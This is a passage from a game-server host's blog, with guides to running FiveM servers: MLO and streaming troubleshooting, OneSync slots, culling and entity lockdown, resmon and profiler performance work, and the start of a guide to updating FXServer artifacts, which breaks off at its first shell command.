ActivateInteriorEntitySet(interior, "pillbox_reception")
RefreshInterior(interior)
```

The MLO's documentation names its entity sets. Nothing is shown until something activates them, which is why an interior can look empty after install.

Falling through the floor after teleporting into an interior is a collision timing problem rather than a broken MLO. The player arrives before the collision for that spot has loaded. Teleport scripts should request collision and wait for it:

```lua
RequestCollisionAtCoord(x, y, z)
while not HasCollisionLoadedAroundEntity(PlayerPedId()) do
    Wait(0)
end
```

If players fall through the floor when walking in normally, the `.ybn` is missing, damaged or conflicting with another map.

Game build matters too. An MLO built with props from a recent GTA Online update only works if the server enforces at least that build with `sv_enforceGameBuild`. The creator should say which build an MLO needs; if props are missing in game, check that first.

#### Keeping a map-heavy server manageable

Large servers end up with dozens of map resources. A few habits keep that from becoming a mystery:

- **One folder per purpose.** `[maps]` for MLOs, `[vehicles]` for cars, `[props]` for small additions. Easier to bisect, easier to measure.
- **A list of what each map is for.** Which job uses it, who bought it, from where, which build it needs. When a creator's account changes or a licence moves, you need this.
- **Measure before and after.** Note the total size of the `stream` folders when you add a pack, so you know what each addition costs your new players.
- **Back up the resources, not just the database.** A paid MLO you can no longer download is gone if the folder goes. [Backups that actually restore](https://www.renode.space/blog/backups-that-actually-restore) applies here as much as to the database.

On RE:NODE you can drag a whole map resource into the file manager and archives are unpacked in place, or upload over SFTP if the pack is large; [SFTP and the file manager](https://www.renode.space/blog/sftp-and-the-file-manager) has the connection details. Backups run from the panel, can be scheduled, and are stored off the machine.

#### Troubleshooting

**"Oversized assets can and WILL lead to streaming issues".** An asset over 16 MiB of physical memory, usually a texture dictionary. Shrink its textures or ask the creator to.

**The interior is invisible or empty.** Missing `DLC_ITYP_REQUEST` line, the resource is not started, or its entity sets are not activated.

**Players fall through the floor.** Collision not loaded yet after a teleport, or a missing or conflicting `.ybn`.

**Textures stay blurry in one area.** Too much streamed content near that spot for the client's texture budget. Shrink the textures in the nearby packs.

**Two buildings in one place.** Two maps at the same location, or an MLO fighting an IPL loader. Keep one.

**A map works for some players, not others.** Players on an older game build, or escrowed content tied to a key that has changed. Check `sv_enforceGameBuild` and the console for entitlement errors.

#### FAQ

##### What is an MLO in FiveM?

A custom interior: a set of rooms and portals defined in a `.ytyp` file, placed in the world by a `.ymap`, with its own models, textures and collision. It is installed as a resource with a `stream` folder like any other map content.

##### Do MLOs make a FiveM server lag?

Not on the server - streamed files are served from disk and cost little CPU. They cost the client: download time on first join and memory while playing. Oversized assets cause missing textures and slow loading, which players often call lag.

##### What is the limit for a streamed asset?

FXServer warns for any asset above 16 MiB of physical memory. It still loads, but large assets compete with everything else nearby and cause streaming problems. Keep each asset below the threshold.

##### Why do two of my maps break each other?

Either they occupy the same location, or they stream files with the same name, or an MLO replaces an interior that an IPL loader also loads. Remove one, rename the duplicate, or disable the interior in the loader.

##### Do players have to download maps every time they join?

No. Streamed files are cached on the player's machine after the first join. Only files that have changed since are downloaded again, which is why updating a large pack means another long join for everyone.

FiveM servers on RE:NODE run on NVMe, with a file manager that unpacks uploaded archives in place, SFTP on every server, txAdmin available, and backup slots stored off the machine - so a map pack you paid for is not one deleted folder away from gone.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM OneSync, player slots and culling

Published 2026-10-07 by RE:NODE Team. https://www.renode.space/blog/fivem-onesync-and-player-slots

Without OneSync a FiveM server is capped at 32 players by GTA V's own peer-to-peer networking. With `set onesync on` the server becomes the authority for entities, the ceiling rises far above anything a roleplay server can actually run, and players only receive what is near them. The two numbers that decide your real slot count are elsewhere: the slot tier attached to your Cfx.re key (the free tier has historically stopped at 48), and how much main-thread and sync-thread time your resources leave over. This post covers what OneSync changes, the convars that control it, culling and routing buckets, entity lockdown, and how to pick a slot count you can keep.

#### What OneSync actually changes

GTA V's multiplayer was built for sessions of a few dozen players, where each client owns some of the entities and tells the others about them directly. FiveM without OneSync keeps that model: the server relays traffic, but the game's own sync decides who knows about what, and the 32-player limit is part of it.

OneSync replaces it with server-side state. Every networked entity - players, vehicles, peds, objects - is tracked by FXServer, which knows where each one is and which client currently owns it. Clients still simulate the entities they own, but the server decides who receives updates about what. Four practical consequences follow:

- **Slots above 32 become possible.** The engine ceiling with OneSync is in the four figures. Nobody should use it.
- **The server can see everything.** Server scripts can read any player's ped and coordinates with `GetPlayerPed(source)` and `GetEntityCoords`, which without OneSync only worked on the client.
- **Clients see only what is near them.** Players and entities beyond a culling radius are not sent to a client at all.
- **The server can refuse entities.** Because the server is the authority, it can block clients from creating entities, which is the most useful anti-cheat setting FiveM has.

OneSync is not optional for a modern server. Current frameworks, inventories and most resources from the last few years assume it, and many will not work correctly without it.

#### The convars

server.cfg:

```cfg
set onesync on
set onesync_population true
set onesync_forceMigration true
sv_maxclients 48
```

| Convar | Values | What it does |
| --- | --- | --- |
| `onesync` | `on`, `legacy`, `off` | The sync model. `on` is what older guides call Infinity |
| `onesync_population` | `true`, `false` | Whether the server allows ambient traffic and pedestrians |
| `onesync_forceMigration` | `true`, `false` | Hands entities to another player when their owner leaves |
| `sv_maxclients` | number | The slot count advertised and enforced |

`legacy` is the original OneSync implementation, kept for compatibility. It has a lower ceiling and sends more to every client; there is no reason to choose it for a new server. Very old guides use `onesync_enabled 1` and `onesync_enableInfinity 1`. Those are the obsolete spellings of `onesync on` and should be removed if you find them.

Two things about how these are read. OneSync has to be decided before the server finishes starting, so changing it means a full server restart - restarting a resource does nothing. And txAdmin has its own OneSync setting in its FXServer settings page in the versions that offer it, which it passes on the command line; if your `server.cfg` says something different, one of them wins and you may not be looking at the one that did. Set it in one place. The rest of the file is covered in [FiveM server.cfg explained](https://www.renode.space/blog/fivem-server-cfg-explained).

`sv_maxclients` also needs a full restart. The `hardcap` resource from the default server data is what turns players away when the server is full; keep it in your `ensure` list unless a queue resource replaces it.

#### Slot limits: engine, licence and reality

There are three limits stacked on top of each other, and the lowest one wins.

| Limit | Value | Set by |
| --- | --- | --- |
| Without OneSync | 32 | GTA V networking |
| Key without a paid tier | 48 (historically) | Cfx.re licensing |
| Higher tiers | 64 and up | Cfx.re subscription attached to the key |
| OneSync engine ceiling | Four figures | FXServer |
| What your server can run | Usually 48-128 | Your resources and CPU |

The licence tier is the one people trip over. For years, a free key has allowed up to 48 slots with OneSync, and higher slot counts have required a Cfx.re subscription tier (sold as Element Club) attached to the account that owns the key. Cfx.re has changed the names and thresholds of those tiers before, so check the current figures in the Cfx.re portal rather than trusting a number from a forum - including this one. If you set `sv_maxclients` above what your key allows, the server tells you at startup.

The reality limit is the one that matters. A slot is a promise that one more person can be on the server without making it worse for the rest. On a roleplay server with two hundred resources, each additional player adds work to every per-player loop, every event that is broadcast to all, and every entity they bring with them. The server will accept 128 connections long before it can serve them well.

| Server type | Comfortable slots | Typical RAM | Notes |
| --- | --- | --- | --- |
| Freeroam, drift, racing | 32-64 | 2-3 GB | Few resources, cheap per player |
| ESX or QBCore roleplay | 48-64 | 4-6 GB | The common case |
| Large roleplay | 64-128 | 8-12 GB | Needs profiling and discipline |

Start lower than you think, watch the txAdmin tick chart and the console's hitch warnings at peak, and raise the count when the numbers say you can. Lowering slots after a community has got used to a number is far harder than raising them. [How many players fit on a server](https://www.renode.space/blog/how-many-players-fit-on-a-server) has the general argument, and [FiveM server performance](https://www.renode.space/blog/fivem-server-performance-resmon) shows how to read the tick data.

#### Culling: what each player can see

With OneSync on, each client is sent only the players and entities within a culling radius of their own position - about 424 units by default. Outside that radius, an entity does not exist for that client.

```diagram
title: OneSync sends each client only what is in range
server = FXServer | knows every entity
near = Player A | within range
far = Player B | far side of map
ents = Nearby entities | sent to A
server -> near : entities in range
server -> far : its own range only
near -> ents
```

This is the reason OneSync scales at all, and it is the reason a lot of older client scripts misbehave on it:

- **Client-side player lists are partial.** `GetActivePlayers()` on a client returns only players in range. A scoreboard built on it shows a handful of names on a sixty-player server. Build player lists server-side and send them down.
- **Blips for distant players need the server.** A client cannot place a blip on a ped it has not been sent. Police and EMS blip resources that work on OneSync send coordinates from the server on a timer.
- **Client-side lookups of far entities fail.** `NetworkGetEntityFromNetworkId` on a client returns nothing for an entity outside its range. Do the work on the server, or wait until the entity is in range.

FXServer exposes server-side natives to change the radius - `SetPlayerCullingRadius` for one player and `SetEntityDistanceCullingRadius` for one entity. They have their uses (a spectating admin, a helicopter that should be visible from further away), but raising them broadly sends more data to every client and costs sync time, so use them for specific cases rather than as a setting.

#### Routing buckets: separate worlds on one server

A routing bucket is a separate instance of the world. Players and entities in bucket 3 cannot see or interact with anything in bucket 0, even standing in the same spot. Everyone starts in bucket 0.

```lua
-- server side: put a player and their vehicle into a private instance
SetPlayerRoutingBucket(source, 3)
SetEntityRoutingBucket(vehicle, 3)

-- an empty instance with no ambient traffic and no client-created entities
SetRoutingBucketPopulationEnabled(3, false)
SetRoutingBucketEntityLockdownMode(3, "strict")
```

Roleplay servers use buckets for character selection, apartment interiors that every player gets their own copy of, admin spectating, and events that should not disturb the main city. They are cheap: an empty bucket costs nothing, and players in different buckets do not sync with each other. Remember to put players back in bucket 0 when they leave the instance - a player stranded in a bucket sees an empty city and reports the server as broken. `GetPlayerRoutingBucket(source)` tells you where somebody is.

#### Population and entity counts

Ambient traffic and pedestrians are entities, and on OneSync they are server-tracked entities. A busy city with sixty players can carry thousands of them, and every one costs the sync thread. The settings that control this:

- **`onesync_population false`** stops ambient population entirely. The city is empty, and the server carries only the entities scripts create. Several serious roleplay servers run this way and spawn traffic only where it matters.
- **Density natives on the client.** `SetVehicleDensityMultiplierThisFrame`, `SetPedDensityMultiplierThisFrame` and their relatives reduce population without turning it off. They have to be called every frame, which is one of the legitimate uses of a `Wait(0)` loop.
- **Per-bucket population.** `SetRoutingBucketPopulationEnabled` turns population off in specific instances.

Entities that scripts create are the other half. Vehicles spawned from garages and never despawned, props dropped by jobs and left behind, peds from missions nobody finished - all of them stay in the server's state. Server-created entities can be told what to do when nobody is near them with `SetEntityOrphanMode` on builds that support it; otherwise, clean them up yourself. If sync-thread hitch warnings grow over uptime, entity build-up is the first suspect, and a scheduled restart is the blunt fix while you find the resource responsible. [Restart schedules that help](https://www.renode.space/blog/restart-schedules-that-help) covers timing.

`onesync_forceMigration true` matters here too. When a player who owns an entity disconnects, the server hands it to another nearby player instead of deleting it. Without it, a car somebody was driving can vanish the moment they crash out of the game.

#### Entity lockdown

Because the server is the authority under OneSync, it can refuse to let clients create entities. That is `sv_entityLockdown`:

| Mode | Clients may create | Use it when |
| --- | --- | --- |
| `inactive` | Anything | Never on a public server |
| `relaxed` | Ambient population only, not script entities | Most servers |
| `strict` | Nothing | Servers where every entity comes from the server |

```cfg
set sv_entityLockdown "relaxed"
```

The default is `inactive`, which lets a cheat menu spawn any vehicle, ped or prop it likes. `relaxed` blocks entities created by client scripts while keeping ambient traffic working, and it stops most of the spawn spam that defines a cheater's visit. `strict` blocks everything, so ambient population stops too, and every vehicle a player gets must be created by the server.

Lockdown is also a filter on your resources. A garage, job or admin menu that spawns vehicles client-side breaks under `relaxed`. The fix is to create the entity on the server and hand the network ID to the client:

```lua
-- server side
local veh = CreateVehicleServerSetter(model, "automobile", x, y, z, heading)
local netId = NetworkGetNetworkIdFromEntity(veh)
TriggerClientEvent("garage:vehicleReady", source, netId)
```

`CreateVehicleServerSetter` is the newer server-side creation native and is preferred over the older server-side `CreateVehicle` for vehicles; check that your server build supports it. Most current frameworks and garages already work this way. Turning lockdown on in a test instance, or per bucket with `SetRoutingBucketEntityLockdownMode`, is a cheap way to find which of your resources do not. The rest of the defensive settings are in [FiveM anticheat options](https://www.renode.space/blog/fivem-anticheat-options).

#### State bags

OneSync also enables state bags: key-value data attached to an entity, a player or the server as a whole, synchronised to clients automatically.

```lua
-- server
Player(source).state:set("job", "police", true)   -- true = replicated to clients
Entity(vehicle).state:set("fuel", 64.0, true)
GlobalState.weather = "RAIN"

-- client
local fuel = Entity(vehicle).state.fuel
```

They replace a lot of hand-written "send everyone the new value" events. They are only as cheap as you make them, though: a state bag changed every frame on a hundred vehicles is a hundred updates a frame for the sync thread. Write on change, not on a timer. And a state bag a client can write is client-controlled data - server scripts must not trust values clients are allowed to set.

#### Troubleshooting

**`sv_maxclients` above 32 is ignored.** OneSync is off, or set in a place that does not take effect. Confirm `onesync on` in the startup output and restart the whole server.

**The server refuses the slot count at startup.** Your key's tier does not allow it. Lower `sv_maxclients` or change the tier on the account that owns the key.

**The scoreboard shows only a few players.** It is built client-side with `GetActivePlayers()`. Move it to the server.

**Garages stopped spawning cars after enabling lockdown.** They create vehicles on the client. Update the resource or switch it to server-side creation.

**Cars vanish when their driver disconnects.** Enable `onesync_forceMigration`.

**Sync thread hitches get worse every hour.** Entity build-up. Count what scripts spawn and never delete, consider turning ambient population down, and restart on a schedule while you fix it.

#### FAQ

##### Is OneSync Infinity still a separate setting?

No. `set onesync on` is what used to be called Infinity. The old `onesync_enableInfinity` convar is obsolete, and `legacy` exists only for compatibility with old resources.

##### How many slots can a free FiveM key use?

Historically 48 with OneSync enabled. Higher counts have needed a Cfx.re subscription tier on the account that owns the key. Cfx.re has changed these thresholds before, so check the portal for the current figure.

##### Why can players not see each other across the map?

That is OneSync culling working as intended. Each client receives only entities within about 424 units. Anything that needs distant players - blips, scoreboards - has to be built on the server.

##### Does a higher slot count make the server slower?

Not by itself; an empty slot costs nothing. Players filling those slots do, because per-player loops, broadcast events and the entities each player brings all add work to the main and sync threads.

##### Should I turn off ambient population?

On a busy roleplay server it is worth testing. It removes a large share of entities and sync work, at the cost of an empty city. Many servers reduce density with client natives instead, which keeps some traffic for a fraction of the cost.

FiveM plans on RE:NODE run from 2 GB to 12 GB with txAdmin available, two port allocations, a database slot and backup slots on every tier. Moving up a tier changes the limits on the server you already have, so raising slots never means rebuilding it - and your own Cfx.re key, with whatever slot tier it carries, goes on the Setup tab.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM server performance with resmon

Published 2026-10-07 by RE:NODE Team. https://www.renode.space/blog/fivem-server-performance-resmon

When a FiveM server lags, the cause is almost always one or two resources, and you find them with three tools: `resmon 1` in the client's F8 console for what scripts cost on each player's machine, `profiler record` in the server console for what they cost on the server's main thread, and the hitch warnings and txAdmin tick chart that tell you when it is happening. More memory rarely changes anything, and more cores change little, because the work that matters runs on one thread. This guide covers how to read each tool, what the numbers mean, the code patterns that keep turning up in the results, and the order to work in so that you fix the cause rather than buy your way around it.

#### Two kinds of lag, and why it matters which one you have

Players say "the server is lagging" about two different problems, and they need different tools.

**Client-side cost** is frame time on the player's own PC. Every client script runs inside the game's frame. A resource that does too much on every frame drops everyone's FPS, but only while that resource is active for them. Symptoms: low or uneven FPS, worse in certain places (near a job marker, inside an interior with a script running), unaffected by how many people are online. The server can be perfectly healthy while this happens.

**Server-side cost** is time on FXServer's main thread. Server scripts, event handlers and timers all run there in sequence, so one slow handler delays everything queued behind it - including the processing that keeps players in sync. Symptoms: rubber-banding, vehicles jumping, doors and inventories reacting late, `/` commands taking a second to answer, everyone affected at once. FPS is fine.

There is a third thing that looks like both and is neither: the network. Packet loss between one player and the server gives that player rubber-banding while everyone else is happy. If only one person complains, start with [latency, jitter and packet loss](https://www.renode.space/blog/latency-jitter-and-packet-loss), not with your scripts.

| Symptom | Likely layer | First tool |
| --- | --- | --- |
| Low FPS in one area, everyone online or not | Client script | `resmon 1` |
| Everyone rubber-bands at the same moment | Server main thread | Hitch warnings, profiler |
| One player rubber-bands, others fine | Their network | Ping, traceroute |
| Long first join, then fine | Streaming assets | Size of `stream` folders |
| Slow after a day of uptime, fine after restart | Leak or entity build-up | Memory over time |

#### resmon: what each resource costs a client

Open the F8 console in game and type:

```text
resmon 1
```

`resmon 0` closes it again. The overlay lists every running resource with the CPU time it used per frame in milliseconds and the memory it holds on the client. Sort by CPU time and watch it for a minute while doing ordinary things - walking around, getting in a car, opening the inventory - because cost is often conditional on what the player is doing.

How to read the numbers: at 60 FPS the game has about 16.7 ms to produce a frame, and the game itself needs most of that. A resource that is idle - nothing on screen, player nowhere near its feature - should show `0.00` or `0.01 ms`. A HUD, a minimap or a voice resource that genuinely draws every frame might sit at a few hundredths. Anything idling above about `0.10 ms` is doing work it does not need to, and anything regularly above `0.5 ms` is a real problem on its own. Ten resources at `0.2 ms` each is two milliseconds of every frame gone before the player has done anything.

| resmon CPU while idle | Verdict |
| --- | --- |
| `0.00` - `0.02 ms` | Fine |
| `0.03` - `0.10 ms` | Acceptable for a HUD or anything that draws |
| `0.10` - `0.50 ms` | Wasteful - look at its loops |
| Above `0.50 ms` | Fix or remove it |

Memory in resmon is the Lua heap for each resource. A value that climbs steadily over half an hour and never drops back is a leak - tables being appended to and never cleared, usually a cache keyed by something that keeps changing. A large but flat number is just a resource that holds a lot of data and is less interesting.

The limitation is that resmon only measures client scripts. A resource can be nearly free on the client and still be the one destroying your server, so do not stop here.

#### The server side: hitch warnings and the profiler

FXServer prints a warning when one of its threads takes far longer than it should between ticks:

```text
[ citizen-server-impl] server thread hitch warning: timer interval of 412 milliseconds
[ citizen-server-impl] sync thread hitch warning: timer interval of 187 milliseconds
[ citizen-server-impl] network thread hitch warning: timer interval of 158 milliseconds
```

Read them by thread. The server thread is where your Lua, JavaScript and C# resources run; hitches there are almost always a script. The sync thread handles OneSync state - entities, their positions and who owns them - and hitches there usually mean too many entities or something spamming state changes. The network thread sends and receives packets; hitches there on a host that is otherwise fine point at very large event payloads or an overloaded machine.

An occasional hitch at startup or when a large resource restarts is normal. A steady trickle while players are online is the thing to fix. Note the time of each one and what was happening in game - a hitch every time someone opens a shop is already half the diagnosis. [Reading the console](https://www.renode.space/blog/reading-the-console) covers separating these from the rest of the output.

To find out which resource caused them, use the built-in profiler from the server console:

```text
profiler record 500
```

This records the next 500 server ticks. When it finishes, run `profiler view` and FXServer prints a link that opens the recording in a Chrome-based timeline viewer. `profiler save` writes the recording to a file instead, which is useful when the console is remote and you want to look at it later or send it to whoever wrote the resource. The same `profiler` commands work in a client's F8 console, which is how you go deeper than resmon on a single client.

In the timeline, each tick is a block, and inside it you can see which resource and which function used the time. You are looking for the wide bars: one resource's handler taking tens of milliseconds while everything else takes fractions of one. Record while the problem is happening - a profile of a quiet server at 4am proves nothing. If the lag comes in spikes, record more ticks so the spike falls inside the window.

> [!TIP]
> Record a baseline profile the day the server runs well, and keep it. When it starts to lag three updates later, comparing two profiles side by side finds the new cost in minutes.

#### txAdmin's performance chart

txAdmin keeps a running histogram of tick times for FXServer's threads and draws it on its dashboard. Recent versions let you switch between the main, sync and network threads. Each column is a time slice; the colours show what fraction of ticks fell into each duration bucket.

A healthy server spends nearly all of its ticks in the fastest bucket, all day. What you are looking for is the tail: a small, steady fraction of slow ticks that appears at certain hours or after a certain uptime. That shape is what players feel as periodic stutter rather than constant lag, and it tells you two useful things without opening a profiler - when it happens (correlate with player count and with what was going on in game) and whether it is getting worse over uptime, which points at a leak or entity build-up rather than one expensive handler.

txAdmin also restarts a server whose main thread stops responding entirely. If that keeps happening, the profiler is the next step; raising the hang timeout just lengthens the outage. The broader setup of txAdmin is in [FiveM server setup with txAdmin](https://www.renode.space/blog/fivem-server-and-txadmin).

#### The code patterns that show up every time

Profile enough FiveM servers and the same handful of mistakes account for most of the time spent.

##### Loops that run every frame for no reason

`Wait(0)` means "run again next frame". It is correct for a loop that draws something every frame and wrong for almost everything else. The common case is a marker or interaction point checked every frame while the player is on the other side of the map:

```lua
-- Costs CPU on every frame, everywhere on the map
CreateThread(function()
    while true do
        Wait(0)
        local coords = GetEntityCoords(PlayerPedId())
        if #(coords - shopCoords) < 2.0 then
            DrawText3D(shopCoords, "[E] Open shop")
        end
    end
end)
```

The fix is to sleep in proportion to distance, and only drop to every frame when the player is close enough for it to matter:

```lua
CreateThread(function()
    while true do
        local sleep = 1000
        local coords = GetEntityCoords(PlayerPedId())
        local dist = #(coords - shopCoords)
        if dist < 20.0 then
            sleep = 0
            if dist < 2.0 then
                DrawText3D(shopCoords, "[E] Open shop")
            end
        end
        Wait(sleep)
    end
end)
```

That one change takes a resource from a permanent `0.1-0.3 ms` to `0.00` for everyone not standing near a shop. Libraries such as `ox_lib` provide point and zone helpers that do this for you; using them is better than hand-rolling the same loop in forty resources.

##### Distance checks done the slow way

`#(a - b)` on two `vector3` values is a pure Lua calculation and very cheap. `GetDistanceBetweenCoords` is a native call with marshalling overhead, and older resources call it hundreds of times a frame. Replacing it is a mechanical change with a measurable result.

##### Server handlers that do too much

On the server, the equivalent mistakes are a loop over every player with a database query inside it, a `SetTimeout` chain that fires more often than the state it represents changes, and handlers that `json.encode` a large table on every call. oxmysql is asynchronous, so a slow query does not freeze the thread by itself, but a handler that issues fifty of them per event will - and the queue of callbacks returning later lands on the main thread too. Setting `mysql_slow_query_warning` makes oxmysql print every query over the threshold; the database side is covered in [FiveM databases and oxmysql](https://www.renode.space/blog/fivem-database-and-oxmysql).

##### Broadcasting too much

`TriggerClientEvent('name', -1, data)` sends to every player. Doing that once a second with a large table - a full job roster, every player's money - costs network thread time and client time on every machine. Send only what changed, only to the players who need it, and prefer state bags for values that many clients read but few write.

#### A workflow that finds it in an evening

1. **Confirm the layer.** Ask three players whether their FPS dropped or whether things rubber-banded. Check the console for hitch warnings at the times they report.
2. **Client side:** have one player run `resmon 1` and screenshot it while idle in the city and again at the place it lags. Note every resource over `0.1 ms`.
3. **Server side:** run `profiler record 500` during peak hours while the lag is present, then `profiler view`. Note the widest resources.
4. **Bisect what you cannot read.** If the profile points at a framework core that dozens of resources call into, stop half of the non-essential resources (`stop name` in the console), watch the hitches and the txAdmin chart for fifteen minutes, then bring them back. Repeat on the half that mattered.
5. **Fix or replace.** Most fixes are the loop patterns above. Escrowed resources you cannot edit go back to their author with your profile attached, or get replaced.
6. **Re-measure.** Same conditions, same commands. If the number did not move, the change did not matter, whatever the forum post promised.

Do this before you change plan. On a server with a CPU-bound main thread, more memory does nothing at all and a bigger CPU share helps only if the console's CPU graph shows you are actually sitting at the limit. [CPU vs RAM for game servers](https://www.renode.space/blog/cpu-vs-ram-for-game-servers) is the longer version of that argument.

#### What the machine contributes

Code is the usual cause, but not the only one, and it is worth knowing what the hardware side looks like so you can rule it in or out.

| Resource | What it affects | Sign it is the limit |
| --- | --- | --- |
| CPU share | Tick time on every thread | Console CPU graph flat at the plan's limit |
| Memory | Nothing until it runs out | Memory graph climbing toward the limit over uptime |
| Disk | Startup, resource restarts, streaming | Slow boot, slow first joins |
| Network | Joins and sync | Network thread hitches with low CPU |

- **CPU share.** Server work is dominated by the main thread, so clock speed matters more than core count. A second core still helps: the sync and network threads, asset serving and the database client do run elsewhere. If the CPU graph sits at the plan's ceiling at peak, ticks stretch and the hitch warnings follow.
- **Memory.** Memory tracks the number of resources and what they hold, not the number of players. It is rarely the cause of lag; when it runs out, the server stops, which is a different problem.
- **Entities.** With OneSync, every vehicle, ped and object the server tracks costs sync time. Ambient population, abandoned vehicles that nobody deletes and props spawned by scripts and never cleaned up all accumulate. [OneSync and player slots](https://www.renode.space/blog/fivem-onesync-and-player-slots) covers population settings and culling.
- **Streamed assets.** Large vehicle and map packs cost disk, bandwidth and client memory, not server CPU. A slow first join is a download problem; [MLOs, maps and streaming assets](https://www.renode.space/blog/fivem-mlo-maps-and-streaming-assets) deals with it.

On RE:NODE the console draws memory, CPU and disk against the plan's limits, so you can see which one you are actually against before deciding anything. CPU is a hard throttle to the share you bought: a server pinned at 100% gets slower, and it is never suspended for it. If memory reaches the limit, the container is stopped and restarted clean rather than left to swap - txAdmin and your scheduled restarts carry on from there.

#### Uptime, leaks and scheduled restarts

FXServer and the frameworks on it degrade over long uptimes. Lua heaps grow, entity counts drift upward, caches fill. A server that runs well for the first six hours and stutters by the second evening is showing build-up, not a single expensive handler, and the profiler will show many resources each slightly slower rather than one wide bar.

The honest fixes are to find the resource whose memory climbs in resmon or in its own logging, and to restart on a schedule while you look. A restart every six to twelve hours, announced in game a few minutes beforehand, is normal practice on roleplay servers; txAdmin's scheduler does the announcement and the restart, and the reasoning about picking the hour is in [restart schedules that help](https://www.renode.space/blog/restart-schedules-that-help). Before each scheduled restart is also the right moment for a database backup, because characters and money live there.

A restart is not a fix for a leak. It is a ceiling on how bad the leak can get. Keep looking for the resource.

#### Troubleshooting

**resmon shows nothing expensive, but players still rubber-band.** It is the server or the network. Check for hitch warnings during the complaints and run the profiler.

**The profiler shows one framework resource using most of the time.** The framework is usually doing work on behalf of other resources - callbacks, item use, player data lookups. Look one level down in the timeline at which handlers call into it, or bisect the resources that depend on it.

**Hitches every few minutes, regular as a clock.** Something on a timer: an autosave that writes every player at once, a payroll loop, a vehicle persistence job. Stagger the work across players instead of doing it all on one tick.

**Lag only during the first minutes after a restart.** Resources loading data, everyone rejoining at once and downloading assets. It settles; if it does not, a resource is doing a large synchronous load on start.

**Lag gets worse every day until a restart.** A leak or entity build-up. Watch resmon memory and the sync thread over uptime.

**One resource is expensive and escrowed.** You cannot edit it. Send the author your profile and resmon screenshot. If it is not fixed, replacing it is cheaper than building a server around it.

#### FAQ

##### What is a good resmon value for a FiveM resource?

When idle, `0.00` to `0.02 ms`. Resources that draw every frame, such as HUDs, can reasonably sit a little higher. A resource that idles above `0.1 ms` is wasting frame time, and one that regularly passes `0.5 ms` is a problem on its own.

##### Does resmon show server-side performance?

No. resmon measures client scripts on the machine where you run it. For the server, use the hitch warnings in the console, `profiler record` and `profiler view`, and txAdmin's tick chart.

##### Will a bigger plan fix FiveM lag?

Only if the console shows the CPU sitting at the plan's limit at peak. Most FiveM lag is one or two resources blocking the main thread, and more memory or a higher limit leaves that exactly as it is. Profile first, then decide.

##### What does "server thread hitch warning" mean?

The server's main thread, where resources run, took far longer than normal between ticks - the number is how long. A few at startup are harmless; a steady stream while people play means a resource is blocking the thread and should be found with the profiler.

##### Why does my server get slower the longer it runs?

Usually memory growing in a leaking resource or entities accumulating without cleanup. Scheduled restarts cap the damage, but the cause is still there; watch memory per resource over time to find it.

##### Is Wait(0) always bad?

No. It is correct for anything that has to happen every frame, such as drawing text or a marker the player is looking at. It is wrong in a loop that only needs to react a few times a second, which describes most loops that use it.

FiveM servers on RE:NODE come with txAdmin available, an unfiltered console with memory, CPU and disk graphs drawn against the plan's limits, a database slot with a one-click phpMyAdmin sign-in, and a Schedules tab for restarts and backups. CPU is a hard share you can see, so when the graph says it is the script, it is the script.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM artifacts: updating FXServer safely

Published 2026-10-07 by RE:NODE Team. https://www.renode.space/blog/fivem-server-updates-artifacts

FiveM server "artifacts" are the FXServer builds Cfx.re publishes at `runtime.fivem.net/artifacts/fivem/`, one list for Linux and one for Windows, each marking a recommended build and a newer optional one. Run the recommended build, update when it moves or when a framework or escrowed resource asks for something newer, and always update by putting the new build beside the old one rather than over it, so rolling back is renaming a folder. txAdmin ships inside the artifact, so it updates with it. Your `server-data` folder, your database and txAdmin's own data folder are what you back up before each update - the binary is disposable. This guide covers what the four separate version numbers on a FiveM server are, how to read the artifact list, the update procedure on both platforms, testing, and what to do when a build breaks something.

#### Four versions that move independently

"Update the server" means different things depending on who says it. A FiveM server has four layers, each with its own version and its own schedule:

| Layer | Where it is set | Who releases it |
| --- | --- | --- |
| FXServer build (the artifact) | The binary you run | Cfx.re, often several times a week |
| txAdmin | Bundled in the artifact | Released with artifacts |
| Game build | `sv_enforceGameBuild` in `server.cfg` | Rockstar's GTA updates, adopted by Cfx.re |
| Framework and resources | Your `resources` folder | Each project or creator |

This post is about the first two. The game build pins which GTA Online update clients must be on and is covered in [FiveM server.cfg explained](https://www.renode.space/blog/fivem-server-cfg-explained). Framework updates are their own discipline, covered in [FiveM frameworks compared](https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox). The reason to keep the four apart in your head is that most "the update broke my server" stories are two of them changed on the same evening, and nobody can tell which one did it.

The player's FiveM client updates itself and is not tied to your server build. When Rockstar patches GTA V, the client is sometimes broken for everyone until Cfx.re catches up; your server is not involved and nothing you update will fix it.

#### Reading the artifact list

The artifact index has two paths:

```text
Linux:   https://runtime.fivem.net/artifacts/fivem/build_proot_linux/master/
Windows: https://runtime.fivem.net/artifacts/fivem/build_server_windows/master/
```

Each page lists builds by number, newest first, and highlights two of them:

- **Latest recommended.** A build Cfx.re considers stable for production. This is what you run.
- **Latest optional.** Newer, with fixes and features that have not had as much exposure. Run it on a test server if you need something in it.

Everything below those is older. Builds well behind the recommended one get warnings in the console, and Cfx.re has in the past stopped supporting builds old enough to be a security or compatibility problem, so "never update" is not a strategy either. The build number is printed when the server starts:

```text
FXServer-master SERVER v1.0.0.12345 linux
```

Note it down before every update. "Which build were we on when it last worked" is the first question in every rollback, and nobody remembers.

Cfx.re publishes changelogs for server builds on its forum and documentation. Skim them for the range between your build and the target: changes to natives your resources use, OneSync behaviour, and txAdmin version bumps are the lines that matter.

#### When to update

Updating for its own sake costs an evening and risks a broken weekend. The reasons that are worth it:

- **The recommended build moved and you are several behind.** Stay within a few weeks of recommended; falling far behind turns one small update into a large one.
- **A resource requires it.** Current libraries and frameworks state a minimum server build - Overextended's resources are strict about this - and escrowed resources need a reasonably current build to validate.
- **A fix you need.** A crash or sync bug listed in the changelog that matches what you see.
- **A security fix.** Read the announcement and update promptly.

And the reasons that are not: a forum post saying the latest optional build is faster, or a new feature you have no use for.

#### Updating the binary

The procedure is the same everywhere in principle - new build beside the old, stop cleanly, swap, start, keep the old one until the new one has proved itself - and differs only in the commands.

##### On Linux

The conventional layout keeps the binary apart from your data, so the binary can be replaced wholesale:

```text
/home/fivem/
  server/          the artifact - replaced on update
  server-data/     resources, server.cfg - backed up, never replaced
  txData/          txAdmin's settings, admins, players, bans
```

The update, with the old build kept beside the new one:

```bash
$ cd /home/fivem
